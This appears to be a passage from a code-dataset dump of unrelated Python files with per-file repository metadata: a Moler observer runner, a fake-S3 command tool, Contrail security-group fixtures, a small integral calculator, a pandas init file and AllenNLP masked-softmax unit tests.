connection_observer_future.done(): # most probably we have some exception during submit(); it should be stored inside future try: too_early_result = connection_observer_future.result() err_msg = "PROBLEM: future returned {} already in runner.submit()".format(too_early_result) self.logger.debug("go background: {} - {}".format(connection_observer, err_msg)) except Exception as err: err_msg = "PROBLEM: future raised {!r} during runner.submit()".format(err) self.logger.warning("go background: {} - {}".format(connection_observer, err_msg)) self.logger.exception(err_msg) raise finalizer = partial(self._feed_finish_callback, connection_observer=connection_observer, subscribed_data_receiver=subscribed_data_receiver, feed_done=feed_done, observer_lock=observer_lock) connection_observer_future.add_done_callback(finalizer) c_future = CancellableFuture(connection_observer_future, observer_lock, stop_feeding, feed_done) connection_observer.life_status.last_feed_time = time.time() return c_future def wait_for(self, connection_observer, connection_observer_future, timeout=None): """ Await for connection_observer running in background or timeout. :param connection_observer: The one we are awaiting for. :param connection_observer_future: Future of connection-observer returned from submit(). :param timeout: Max time (in float seconds) you want to await before you give up. If None then taken from connection_observer :return: """ # TODO: calculate remaining timeout before logging + done(result/exception) info if connection_observer.done(): # 1. done() might mean "timed out" before future created (future is None) # Observer lifetime started with its timeout clock so, it might timeout even before # future created by runner.submit() - may happen for nonempty commands queue # 2. done() might mean "timed out" before future start # Observer lifetime started with its timeout clock so, it might timeout even before # connection_observer_future started - since future's thread might not get control yet # 3. done() might mean "timed out" before wait_for() # wait_for() might be called so late after submit() that observer already "timed out" # 4. done() might mean have result or got exception # wait_for() might be called so late after submit() that observer already got result/exception # # In all above cases we want to stop future if it is still running self.logger.debug("go foreground: {} is already done".format(connection_observer)) self._cancel_submitted_future(connection_observer, connection_observer_future) return None max_timeout = timeout observer_timeout = connection_observer.timeout # we count timeout from now if timeout is given; else we use .life.status.start_time and .timeout of observer start_time = time.time() if max_timeout else connection_observer.life_status.start_time await_timeout = max_timeout if max_timeout else observer_timeout if max_timeout: remain_time, msg = his_remaining_time("await max.", timeout=max_timeout, from_start_time=start_time) else: remain_time, msg = his_remaining_time("remaining", timeout=observer_timeout, from_start_time=start_time) self.logger.debug("go foreground: {} - {}".format(connection_observer, msg)) if connection_observer_future is None: end_of_life, remain_time = await_future_or_eol(connection_observer, remain_time, start_time, await_timeout, self.logger) if end_of_life: return None if not self._execute_till_eol(connection_observer=connection_observer, connection_observer_future=connection_observer_future, max_timeout=max_timeout, await_timeout=await_timeout, remain_time=remain_time): # code below is to close ConnectionObserver and future objects self._end_of_life_of_future_and_connection_observer(connection_observer, connection_observer_future) return None def _execute_till_eol(self, connection_observer, connection_observer_future, max_timeout, await_timeout, remain_time): eol_remain_time = remain_time # either we wait forced-max-timeout or we check done-status each 0.1sec tick if eol_remain_time > 0.0: future = connection_observer_future or connection_observer._future assert future is not None if max_timeout: done, not_done = wait([future], timeout=remain_time) if (future in done) or connection_observer.done(): self._cancel_submitted_future(connection_observer, future) return True self._wait_for_time_out(connection_observer, connection_observer_future, timeout=await_timeout) if connection_observer.life_status.terminating_timeout > 0.0: connection_observer.life_status.in_terminating = True done, not_done = wait([future], timeout=connection_observer.life_status.terminating_timeout) if (future in done) or connection_observer.done(): self._cancel_submitted_future(connection_observer, future) return True else: while eol_remain_time > 0.0: done, not_done = wait([future], timeout=self._tick) if (future in done) or connection_observer.done(): self._cancel_submitted_future(connection_observer, future) return True already_passed = time.time() - connection_observer.life_status.start_time eol_timeout = connection_observer.timeout + connection_observer.life_status.terminating_timeout eol_remain_time = eol_timeout - already_passed timeout = connection_observer.timeout remain_time = timeout - already_passed if remain_time <= 0.0: self._wait_for_time_out(connection_observer, connection_observer_future, timeout=await_timeout) if not connection_observer.life_status.in_terminating: connection_observer.life_status.in_terminating = True else: self._wait_for_not_started_connection_observer_is_done(connection_observer=connection_observer) return False def _wait_for_not_started_connection_observer_is_done(self, connection_observer): # Have to wait till connection_observer is done with terminaing timeout. eol_remain_time = connection_observer.life_status.terminating_timeout start_time = time.time() while not connection_observer.done() and eol_remain_time > 0.0: time.sleep(self._tick) eol_remain_time = start_time + connection_observer.life_status.terminating_timeout - time.time() def _end_of_life_of_future_and_connection_observer(self, connection_observer, connection_observer_future): future = connection_observer_future or connection_observer._future if future: future.cancel(no_wait=True) connection_observer.set_end_of_life() @staticmethod def _cancel_submitted_future(connection_observer, connection_observer_future): future = connection_observer_future or connection_observer._future if future and (not future.done()): future.cancel(no_wait=True) def _wait_for_time_out(self, connection_observer, connection_observer_future, timeout): passed = time.time() - connection_observer.life_status.start_time future = connection_observer_future or connection_observer._future if future: with future.observer_lock: time_out_observer(connection_observer=connection_observer, timeout=timeout, passed_time=passed, runner_logger=self.logger, kind="await_done") else: # sorry, we don't have lock yet (it is created by runner.submit() time_out_observer(connection_observer=connection_observer, timeout=timeout, passed_time=passed, runner_logger=self.logger, kind="await_done") def wait_for_iterator(self, connection_observer, connection_observer_future): """ Version of wait_for() intended to be used by Python3 to implement iterable/awaitable object. Note: we don't have timeout parameter here. If you want to await with timeout please do use timeout machinery of selected parallelism. :param connection_observer: The one we are awaiting for. :param connection_observer_future: Future of connection-observer returned from submit(). :return: iterator """ while not connection_observer_future.done(): yield None # return result_for_runners(connection_observer) # May raise too. # Python > 3.3 res = result_for_runners(connection_observer) raise StopIteration(res) # Python 2 compatibility def _start_feeding(self, connection_observer, observer_lock): """ Start feeding connection_observer by establishing data-channel from connection to observer. """ def secure_data_received(data, timestamp): try: if connection_observer.done() or self._in_shutdown: return # even not unsubscribed secure_data_received() won't pass data to done observer with observer_lock: connection_observer.data_received(data, timestamp) connection_observer.life_status.last_feed_time = time.time() except Exception as exc: # TODO: handling stacktrace # observers should not raise exceptions during data parsing # but if they do so - we fix it with observer_lock: self.logger.warning("Unhandled exception from '{} 'caught by runner.".format(connection_observer)) ex_msg = "Unexpected exception from {} caught by runner when processing data >>{}<< at '{}':" \ " >>>{}<<< -> repr: >>>{}<<<".format(connection_observer, data, timestamp, exc, repr(exc)) if connection_observer.is_command(): ex = CommandFailure(command=connection_observer, message=ex_msg) else: ex = MolerException(ex_msg) connection_observer.set_exception(ex) finally: if connection_observer.done() and not connection_observer.cancelled(): if connection_observer._exception: self.logger.debug("{} raised: {!r}".format(connection_observer, connection_observer._exception)) else: self.logger.debug("{} returned: {}".format(connection_observer, connection_observer._result)) moler_conn = connection_observer.connection self.logger.debug("subscribing for data {}".format(connection_observer)) with observer_lock: moler_conn.subscribe(observer=secure_data_received, connection_closed_handler=connection_observer.connection_closed_handler) # after subscription we have data path so observer is started remain_time, msg = his_remaining_time("remaining", timeout=connection_observer.timeout, from_start_time=connection_observer.life_status.start_time) connection_observer._log(logging.INFO, "{} started, {}".format(connection_observer.get_long_desc(), msg)) if connection_observer.is_command(): connection_observer.send_command() return secure_data_received # to know what to unsubscribe def _stop_feeding(self, connection_observer, subscribed_data_receiver, feed_done, observer_lock): with observer_lock: if not feed_done.is_set(): moler_conn = connection_observer.connection self.logger.debug("unsubscribing {}".format(connection_observer)) moler_conn.unsubscribe(observer=subscribed_data_receiver, connection_closed_handler=connection_observer.connection_closed_handler) # after unsubscription we break data path so observer is finished remain_time, msg = his_remaining_time("remaining", timeout=connection_observer.timeout, from_start_time=connection_observer.life_status.start_time) connection_observer._log(logging.INFO, "{} finished, {}".format(connection_observer.get_short_desc(), msg)) feed_done.set() def _feed_finish_callback(self, future, connection_observer, subscribed_data_receiver, feed_done, observer_lock): """Callback attached to concurrent.futures.Future of submitted feed()""" self._stop_feeding(connection_observer, subscribed_data_receiver, feed_done, observer_lock) def feed(self, connection_observer, subscribed_data_receiver, stop_feeding, feed_done, observer_lock): """ Feeds connection_observer by transferring data from connection and passing it to connection_observer. Should be called from background-processing of connection observer. """ remain_time, msg = his_remaining_time("remaining", timeout=connection_observer.timeout, from_start_time=connection_observer.life_status.start_time) self.logger.debug("thread started for {}, {}".format(connection_observer, msg)) if not subscribed_data_receiver: subscribed_data_receiver = self._start_feeding(connection_observer, observer_lock) time.sleep(self._tick) # give control back before we start processing self._feed_loop(connection_observer, stop_feeding, observer_lock) remain_time, msg = his_remaining_time("remaining", timeout=connection_observer.timeout, from_start_time=connection_observer.life_status.start_time) self.logger.debug("thread finished for {}, {}".format(connection_observer, msg)) self._stop_feeding(connection_observer, subscribed_data_receiver, feed_done, observer_lock) return None def _feed_loop(self, connection_observer, stop_feeding, observer_lock): start_time = connection_observer.life_status.start_time while True: if stop_feeding.is_set(): # TODO: should it be renamed to 'cancelled' to be in sync with initial action? self.logger.debug("stopped {}".format(connection_observer)) break if connection_observer.done(): self.logger.debug("done {}".format(connection_observer)) break current_time = time.time() run_duration = current_time - start_time # we need to check connection_observer.timeout at each round since timeout may change # during lifetime of connection_observer timeout = connection_observer.timeout if connection_observer.life_status.in_terminating: timeout = connection_observer.life_status.terminating_timeout if (timeout is not None) and (run_duration >= timeout): if connection_observer.life_status.in_terminating: msg = "{} underlying real command failed to finish during {} seconds. It will be forcefully" \ " terminated".format(connection_observer, timeout) self.logger.info(msg) connection_observer.set_end_of_life() else: with observer_lock: time_out_observer(connection_observer, timeout=connection_observer.timeout, passed_time=run_duration, runner_logger=self.logger) if connection_observer.life_status.terminating_timeout >= 0.0: start_time = time.time() connection_observer.life_status.in_terminating = True else: break else: self._call_on_inactivity(connection_observer=connection_observer, current_time=current_time) if self._in_shutdown: self.logger.debug("shutdown so cancelling {}".format(connection_observer)) connection_observer.cancel() time.sleep(self._tick) # give moler_conn a chance to feed observer def _call_on_inactivity(self, connection_observer, current_time): """ Call on_inactivity on connection_observer if needed. :param connection_observer: ConnectionObserver object. :param current_time: current time in seconds. :return: None """ life_status = connection_observer.life_status if (life_status.inactivity_timeout > 0.0) and (life_status.last_feed_time is not None): expected_feed_timeout = life_status.last_feed_time + life_status.inactivity_timeout if current_time > expected_feed_timeout: connection_observer.on_inactivity() connection_observer.life_status.last_feed_time = current_time def timeout_change(self, timedelta): pass # utilities to be used by runners def his_remaining_time(prefix, timeout, from_start_time): """ Calculate remaining time of "he" object assuming that "he" has .life_status.start_time attribute :param prefix: string to be used inside 'remaining time description' :param he: object to calculate remaining time for :param timeout: max lifetime of object :param from_start_time: start of lifetime for the object :return: remaining time as float and related description message """ already_passed = time.time() - from_start_time remain_time = timeout - already_passed if remain_time < 0.0: remain_time = 0.0 msg = "{} {:.3f} [sec], already passed {:.3f} [sec]".format(prefix, remain_time, already_passed) return remain_time, msg def await_future_or_eol(connection_observer, remain_time, start_time, timeout, logger): # Observer lifetime started with its timeout clock # but setting connection_observer._future may be delayed by nonempty commands queue. # In such case we have to wait either for _future or timeout. end_of_life = False while (connection_observer._future is None) and (remain_time > 0.0): time.sleep(0.005) if connection_observer.done(): logger.debug("{} is done before creating future".format(connection_observer)) end_of_life = True break now = time.time() already_passed = now - start_time remain_time = timeout - already_passed observer_lifetime_passed = now - connection_observer.life_status.start_time remain_observer_lifetime = connection_observer.timeout + connection_observer.life_status.terminating_timeout\ - observer_lifetime_passed # we timeout on earlier timeout (timeout or connection_observer.timeout) if remain_observer_lifetime <= 0.0: remain_time = 0.0 if remain_time <= 0.0: logger.debug("{} timeout before creating future".format(connection_observer)) return end_of_life, remain_time

52.425121

133

0.657237

3,687

32,556

5.547871

0.129102

0.206795

0.045759

0.043803

0.45671

0.393253

0.34109

0.30198

0.256417

0.222391

0

0.003688

0.275341

32,556

620

134

52.509677

0.863344

0.270549

0

0.345646

0

0.002639

0.057111

0.005267

0

0.009677

0.005277

1

0.092348

false

0.050132

0.036939

0.002639

0.192612

0

null

1

0

null

0

1

0

2

8a298f59ca511939b6e86c5c2133a7995a173de1

112

py

Python

Text Processing - exercise/extract file.py

DiyanKalaydzhiev23/fundamentals---python

7fa032d9a3270648ffa383bb00dad8e51613189d

[ "MIT" ]

null

Text Processing - exercise/extract file.py

DiyanKalaydzhiev23/fundamentals---python

7fa032d9a3270648ffa383bb00dad8e51613189d

[ "MIT" ]

null

Text Processing - exercise/extract file.py

DiyanKalaydzhiev23/fundamentals---python

7fa032d9a3270648ffa383bb00dad8e51613189d

[ "MIT" ]

null

path = input().split("\\") file = path[-1].split(".") print(f"File name: {file[0]}\nFile extension: {file[1]}")

28

57

0.589286

17

112

3.882353

0.647059

0

0.029703

0.098214

112

3

58

37.333333

0.623762

0

0.446429

0

1

0

false

0

0.333333

1

0

null

0

1

0

null

0

2

8a2da9b7d03fbffad915a30e08e6df6a2100f8a8

2,665

py

Python

test/botocmd.py

Kajabi/fake-s3

a28139fae48df11e3e21ca2a89df738130ab477e

[ "MIT" ]

1

2022-02-24T05:34:25.000Z

test/botocmd.py

amione/fake-s3

2f31a962e8abaa7effe25931f1d2fd35d8a557da

[ "MIT" ]

null

test/botocmd.py

amione/fake-s3

2f31a962e8abaa7effe25931f1d2fd35d8a557da

[ "MIT" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- # fakes3cmd.py -- an s3cmd-like script that accepts a custom host and portname import re import os from optparse import OptionParser try: from boto.s3.connection import S3Connection, OrdinaryCallingFormat from boto.s3.key import Key except ImportError: raise Exception('You must install the boto package for python') class FakeS3Cmd(object): COMMANDS = ['mb', 'rb', 'put', ] def __init__(self, host, port): self.host = host self.port = port self.conn = None self._connect() def _connect(self): print 'Connecting: %s:%s' % (self.host, self.port) self.conn = S3Connection(is_secure=False, calling_format=OrdinaryCallingFormat(), aws_access_key_id='', aws_secret_access_key='', port=self.port, host=self.host) @staticmethod def _parse_uri(path): match = re.match(r's3://([^/]+)(?:/(.*))?', path, re.I) ## (bucket, key) return match.groups() def mb(self, path, *args): if not self.conn: self._connect() bucket, _ = self._parse_uri(path) self.conn.create_bucket(bucket) print 'made bucket: [%s]' % bucket def rb(self, path, *args): if not self.conn: self._connect() bucket, _ = self._parse_uri(path) self.conn.delete_bucket(bucket) print 'removed bucket: [%s]' % bucket def put(self, *args): if not self.conn: self._connect() args = list(args) path = args.pop() bucket_name, prefix = self._parse_uri(path) bucket = self.conn.get_bucket(bucket_name) for src_file in args: key = Key(bucket) key.key = os.path.join(prefix, os.path.basename(src_file)) key.set_contents_from_filename(src_file) print 'stored: [%s]' % key.key if __name__ == "__main__": # check for options. TODO: This requires a more verbose help message # to explain how the positional arguments work. parser = OptionParser() parser.add_option("-t", "--host", type="string", default='localhost') parser.add_option("-p", "--port", type='int', default=80) o, args = parser.parse_args() if len(args) < 2: raise ValueError('you must minimally supply a desired command and s3 uri') cmd = args.pop(0) if cmd not in FakeS3Cmd.COMMANDS: raise ValueError('%s is not a valid command' % cmd) fs3 = FakeS3Cmd(o.host, o.port) handler = getattr(fs3, cmd) handler(*args)

30.284091

82

0.588743

334

2,665

4.550898

0.416168

0.042105

0.031579

0.025658

0.105263

0.086842

0

0.009469

0.286679

2,665

87

83

30.632184

0.79011

0.090807

0

0.142857

0

0.107616

0.009106

0

0.011494

0

null

0

0.095238

null

0.063492

0

null

0

null

0

1

0

1

0

2

8a2e3c368928b404fde473116276a9ed5cae8942

1,185

py

Python

scripts/securitygroup/config.py

vkolli/contrail-test-perf

db04b8924a2c330baabe3059788b149d957a7d67

[ "Apache-2.0" ]

1

2017-06-13T04:42:34.000Z

scripts/securitygroup/config.py

vkolli/contrail-test-perf

db04b8924a2c330baabe3059788b149d957a7d67

[ "Apache-2.0" ]

null

scripts/securitygroup/config.py

vkolli/contrail-test-perf

db04b8924a2c330baabe3059788b149d957a7d67

[ "Apache-2.0" ]

null

import time import paramiko import fixtures from fabric.api import run, hide, settings from vn_test import VNFixture from vm_test import VMFixture from policy_test import PolicyFixture from common.policy.config import ConfigPolicy from common.connections import ContrailConnections from security_group import SecurityGroupFixture class ConfigSecGroup(ConfigPolicy): def config_sec_group(self, name, secgrpid=None, entries=None): secgrp_fixture = self.useFixture(SecurityGroupFixture(self.inputs, self.connections, self.inputs.domain_name, self.inputs.project_name, secgrp_name=name, uuid=secgrpid, secgrp_entries=entries)) result, msg = secgrp_fixture.verify_on_setup() assert result, msg return secgrp_fixture def delete_sec_group(self, secgrp_fix): secgrp_fix.cleanUp() self.remove_from_cleanups(secgrp_fix) def remove_from_cleanups(self, fix): for cleanup in self._cleanups: if fix.cleanUp in cleanup: self._cleanups.remove(cleanup) break

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0.038911

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0

null

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null

0

1

0

1

0

2

8a340244538e5f22abe218a0a595984c86b99776

555

py

Python

utils/integral_calculator.py

nomagiclab/balancing-ball

28a2f95ee489cf7c1a2a3208412eda00e43835f3

[ "MIT" ]

4

2021-11-09T10:48:48.000Z

2022-01-20T11:12:54.000Z

utils/integral_calculator.py

nomagiclab/balancing-ball

28a2f95ee489cf7c1a2a3208412eda00e43835f3

[ "MIT" ]

16

2021-11-09T10:36:40.000Z

2022-03-19T18:35:40.000Z

utils/integral_calculator.py

nomagiclab/balancing-ball

28a2f95ee489cf7c1a2a3208412eda00e43835f3

[ "MIT" ]

null

class IntegralCalculator: def __init__(self): self.value = 0 self.last_time = 0 def get_current_integral(self) -> float: return self.value def get_and_update_integral(self, new_x, new_time) -> float: self.update_integral(new_x, new_time) return self.get_current_integral() def update_integral(self, new_x, new_time): if self.last_time == 0: self.last_time = new_time dt = new_time - self.last_time self.value += dt * new_x self.last_time = new_time

25.227273

64

0.632432

78

555

4.141026

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0.185759

0.102167

0.297214

0.179567

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0.281081

555

21

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false

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null

0

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null

0

1

0

2

8a3486a4d71febd1848dbba2347c1a355f222185

217

py

Python

crabageprediction/venv/Lib/site-packages/pandas/io/formats/__init__.py

13rianlucero/CrabAgePrediction

92bc7fbe1040f49e820473e33cc3902a5a7177c7

[ "MIT" ]

28,899

2016-10-13T03:32:12.000Z

2022-03-31T21:39:05.000Z

crabageprediction/venv/Lib/site-packages/pandas/io/formats/__init__.py

13rianlucero/CrabAgePrediction

92bc7fbe1040f49e820473e33cc3902a5a7177c7

[ "MIT" ]

31,004

2016-10-12T23:22:27.000Z

2022-03-31T23:17:38.000Z

crabageprediction/venv/Lib/site-packages/pandas/io/formats/__init__.py

13rianlucero/CrabAgePrediction

92bc7fbe1040f49e820473e33cc3902a5a7177c7

[ "MIT" ]

15,149

2016-10-13T03:21:31.000Z

2022-03-31T18:46:47.000Z

from typing import TYPE_CHECKING if TYPE_CHECKING: # import modules that have public classes/functions from pandas.io.formats import style # and mark only those modules as public __all__ = ["style"]

24.111111

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0.737327

30

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5.133333

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0.155844

0

0.211982

217

8

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null

0

1

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2

8a35d65e141b12d524977df842b606ea2f5482d6

71,598

py

Python

allennlp/tests/nn/util_test.py

apmoore1/allennlp

bdb29a831ed68cb948b18b42fa61646b9ec11bf8

[ "Apache-2.0" ]

null

allennlp/tests/nn/util_test.py

apmoore1/allennlp

bdb29a831ed68cb948b18b42fa61646b9ec11bf8

[ "Apache-2.0" ]

null

allennlp/tests/nn/util_test.py

apmoore1/allennlp

bdb29a831ed68cb948b18b42fa61646b9ec11bf8

[ "Apache-2.0" ]

1

2020-02-19T11:34:32.000Z

import json import random from typing import NamedTuple, Any import numpy from numpy.testing import assert_array_almost_equal, assert_almost_equal import torch import pytest from flaky import flaky from allennlp.common.checks import ConfigurationError from allennlp.common.testing import AllenNlpTestCase from allennlp.common.util import sanitize from allennlp.nn import util from allennlp.models import load_archive class TestNnUtil(AllenNlpTestCase): def test_get_sequence_lengths_from_binary_mask(self): binary_mask = torch.tensor( [ [True, True, True, False, False, False], [True, True, False, False, False, False], [True, True, True, True, True, True], [True, False, False, False, False, False], ] ) lengths = util.get_lengths_from_binary_sequence_mask(binary_mask) numpy.testing.assert_array_equal(lengths.numpy(), numpy.array([3, 2, 6, 1])) def test_get_mask_from_sequence_lengths(self): sequence_lengths = torch.LongTensor([4, 3, 1, 4, 2]) mask = util.get_mask_from_sequence_lengths(sequence_lengths, 5).data.numpy() assert_almost_equal( mask, [[1, 1, 1, 1, 0], [1, 1, 1, 0, 0], [1, 0, 0, 0, 0], [1, 1, 1, 1, 0], [1, 1, 0, 0, 0]], ) def test_get_sequence_lengths_converts_to_long_tensor_and_avoids_variable_overflow(self): # Tests the following weird behaviour in Pytorch 0.1.12 # doesn't happen for our sequence masks: # # mask = torch.ones([260]).bool() # mask.sum() # equals 260. # var_mask = t.a.V(mask) # var_mask.sum() # equals 4, due to 8 bit precision - the sum overflows. binary_mask = torch.ones(2, 260).bool() lengths = util.get_lengths_from_binary_sequence_mask(binary_mask) numpy.testing.assert_array_equal(lengths.data.numpy(), numpy.array([260, 260])) def test_clamp_tensor(self): # Test on uncoalesced sparse tensor i = torch.LongTensor([[0, 1, 1, 0], [2, 0, 2, 2]]) v = torch.FloatTensor([3, 4, -5, 3]) tensor = torch.sparse.FloatTensor(i, v, torch.Size([2, 3])) clamped_tensor = util.clamp_tensor(tensor, minimum=-3, maximum=3).to_dense() assert_almost_equal(clamped_tensor, [[0, 0, 3], [3, 0, -3]]) # Test on coalesced sparse tensor i = torch.LongTensor([[0, 1, 1], [2, 0, 2]]) v = torch.FloatTensor([3, 4, -5]) tensor = torch.sparse.FloatTensor(i, v, torch.Size([2, 3])) clamped_tensor = util.clamp_tensor(tensor, minimum=-3, maximum=3).to_dense() assert_almost_equal(clamped_tensor, [[0, 0, 3], [3, 0, -3]]) # Test on dense tensor tensor = torch.tensor([[5, -4, 3], [-3, 0, -30]]) clamped_tensor = util.clamp_tensor(tensor, minimum=-3, maximum=3) assert_almost_equal(clamped_tensor, [[3, -3, 3], [-3, 0, -3]]) def test_sort_tensor_by_length(self): tensor = torch.rand([5, 7, 9]) tensor[0, 3:, :] = 0 tensor[1, 4:, :] = 0 tensor[2, 1:, :] = 0 tensor[3, 5:, :] = 0 sequence_lengths = torch.LongTensor([3, 4, 1, 5, 7]) sorted_tensor, sorted_lengths, reverse_indices, _ = util.sort_batch_by_length( tensor, sequence_lengths ) # Test sorted indices are padded correctly. numpy.testing.assert_array_equal(sorted_tensor[1, 5:, :].data.numpy(), 0.0) numpy.testing.assert_array_equal(sorted_tensor[2, 4:, :].data.numpy(), 0.0) numpy.testing.assert_array_equal(sorted_tensor[3, 3:, :].data.numpy(), 0.0) numpy.testing.assert_array_equal(sorted_tensor[4, 1:, :].data.numpy(), 0.0) assert sorted_lengths.data.equal(torch.LongTensor([7, 5, 4, 3, 1])) # Test restoration indices correctly recover the original tensor. assert sorted_tensor.index_select(0, reverse_indices).data.equal(tensor.data) def test_get_final_encoder_states(self): encoder_outputs = torch.Tensor( [ [[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]], [[13, 14, 15, 16], [17, 18, 19, 20], [21, 22, 23, 24]], ] ) mask = torch.tensor([[True, True, True], [True, True, False]]) final_states = util.get_final_encoder_states(encoder_outputs, mask, bidirectional=False) assert_almost_equal(final_states.data.numpy(), [[9, 10, 11, 12], [17, 18, 19, 20]]) final_states = util.get_final_encoder_states(encoder_outputs, mask, bidirectional=True) assert_almost_equal(final_states.data.numpy(), [[9, 10, 3, 4], [17, 18, 15, 16]]) def test_masked_softmax_no_mask(self): # Testing the general unmasked 1D case. vector_1d = torch.FloatTensor([[1.0, 2.0, 3.0]]) vector_1d_softmaxed = util.masked_softmax(vector_1d, None).data.numpy() assert_array_almost_equal( vector_1d_softmaxed, numpy.array([[0.090031, 0.244728, 0.665241]]) ) assert_almost_equal(1.0, numpy.sum(vector_1d_softmaxed), decimal=6) vector_1d = torch.FloatTensor([[1.0, 2.0, 5.0]]) vector_1d_softmaxed = util.masked_softmax(vector_1d, None).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0.017148, 0.046613, 0.93624]])) # Testing the unmasked 1D case where the input is all 0s. vector_zero = torch.FloatTensor([[0.0, 0.0, 0.0]]) vector_zero_softmaxed = util.masked_softmax(vector_zero, None).data.numpy() assert_array_almost_equal( vector_zero_softmaxed, numpy.array([[0.33333334, 0.33333334, 0.33333334]]) ) # Testing the general unmasked batched case. matrix = torch.FloatTensor([[1.0, 2.0, 5.0], [1.0, 2.0, 3.0]]) masked_matrix_softmaxed = util.masked_softmax(matrix, None).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array( [[0.01714783, 0.04661262, 0.93623955], [0.09003057, 0.24472847, 0.66524096]] ), ) # Testing the unmasked batched case where one of the inputs are all 0s. matrix = torch.FloatTensor([[1.0, 2.0, 5.0], [0.0, 0.0, 0.0]]) masked_matrix_softmaxed = util.masked_softmax(matrix, None).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array( [[0.01714783, 0.04661262, 0.93623955], [0.33333334, 0.33333334, 0.33333334]] ), ) def test_masked_softmax_masked(self): # Testing the general masked 1D case. vector_1d = torch.FloatTensor([[1.0, 2.0, 5.0]]) mask_1d = torch.tensor([[True, False, True]]) vector_1d_softmaxed = util.masked_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0.01798621, 0.0, 0.98201382]])) vector_1d = torch.FloatTensor([[0.0, 2.0, 3.0, 4.0]]) mask_1d = torch.tensor([[True, False, True, True]]) vector_1d_softmaxed = util.masked_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal( vector_1d_softmaxed, numpy.array([[0.01321289, 0.0, 0.26538793, 0.72139918]]) ) # Testing the masked 1D case where the input is all 0s and the mask # is not all 0s. vector_1d = torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]]) mask_1d = torch.tensor([[False, False, False, True]]) vector_1d_softmaxed = util.masked_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0, 0, 0, 1]])) # Testing the masked 1D case where the input is not all 0s # and the mask is all 0s. vector_1d = torch.FloatTensor([[0.0, 2.0, 3.0, 4.0]]) mask_1d = torch.tensor([[False, False, False, False]]) vector_1d_softmaxed = util.masked_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0.0, 0.0, 0.0, 0.0]])) # Testing the masked 1D case where the input is all 0s and # the mask is all 0s. vector_1d = torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]]) mask_1d = torch.tensor([[False, False, False, False]]) vector_1d_softmaxed = util.masked_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0.0, 0.0, 0.0, 0.0]])) # Testing the masked 1D case where there are large elements in the # padding. vector_1d = torch.FloatTensor([[1.0, 1.0, 1e5]]) mask_1d = torch.tensor([[True, True, False]]) vector_1d_softmaxed = util.masked_softmax(vector_1d, mask_1d).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0.5, 0.5, 0]])) # Testing the general masked batched case. matrix = torch.FloatTensor([[1.0, 2.0, 5.0], [1.0, 2.0, 3.0]]) mask = torch.tensor([[True, False, True], [True, True, True]]) masked_matrix_softmaxed = util.masked_softmax(matrix, mask).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array([[0.01798621, 0.0, 0.98201382], [0.090031, 0.244728, 0.665241]]), ) # Testing the masked batch case where one of the inputs is all 0s but # none of the masks are all 0. matrix = torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]]) mask = torch.tensor([[True, False, True], [True, True, True]]) masked_matrix_softmaxed = util.masked_softmax(matrix, mask).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array([[0.5, 0.0, 0.5], [0.090031, 0.244728, 0.665241]]) ) # Testing the masked batch case where one of the inputs is all 0s and # one of the masks are all 0. matrix = torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]]) mask = torch.tensor([[True, False, True], [False, False, False]]) masked_matrix_softmaxed = util.masked_softmax(matrix, mask).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array([[0.5, 0.0, 0.5], [0.0, 0.0, 0.0]]) ) matrix = torch.FloatTensor([[0.0, 0.0, 0.0], [1.0, 2.0, 3.0]]) mask = torch.tensor([[False, False, False], [True, False, True]]) masked_matrix_softmaxed = util.masked_softmax(matrix, mask).data.numpy() assert_array_almost_equal( masked_matrix_softmaxed, numpy.array([[0.0, 0.0, 0.0], [0.11920292, 0.0, 0.88079708]]) ) def test_masked_softmax_memory_efficient_masked(self): # Testing the general masked 1D case. vector_1d = torch.FloatTensor([[1.0, 2.0, 5.0]]) mask_1d = torch.tensor([[True, False, True]]) vector_1d_softmaxed = util.masked_softmax( vector_1d, mask_1d, memory_efficient=True ).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0.01798621, 0.0, 0.98201382]])) vector_1d = torch.FloatTensor([[0.0, 2.0, 3.0, 4.0]]) mask_1d = torch.tensor([[True, False, True, True]]) vector_1d_softmaxed = util.masked_softmax( vector_1d, mask_1d, memory_efficient=True ).data.numpy() assert_array_almost_equal( vector_1d_softmaxed, numpy.array([[0.01321289, 0.0, 0.26538793, 0.72139918]]) ) # Testing the masked 1D case where the input is all 0s and the mask # is not all 0s. vector_1d = torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]]) mask_1d = torch.tensor([[False, False, False, True]]) vector_1d_softmaxed = util.masked_softmax( vector_1d, mask_1d, memory_efficient=True ).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0, 0, 0, 1]])) # Testing the masked 1D case where the input is not all 0s # and the mask is all 0s. vector_1d = torch.FloatTensor([[0.0, 2.0, 3.0, 4.0]]) mask_1d = torch.tensor([[False, False, False, False]]) vector_1d_softmaxed = util.masked_softmax( vector_1d, mask_1d, memory_efficient=True ).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, numpy.array([[0.25, 0.25, 0.25, 0.25]])) # Testing the masked 1D case where the input is all 0s and # the mask is all 0s. vector_1d = torch.FloatTensor([[0.0, 0.0, 0.0, 0.0]]) mask_1d = torch.tensor([[False, False, False, False]]) vector_1d_softmaxed = util.masked_softmax( vector_1d, mask_1d, memory_efficient=True ).data.numpy() assert_array_almost_equal(vector_1d_softmaxed, 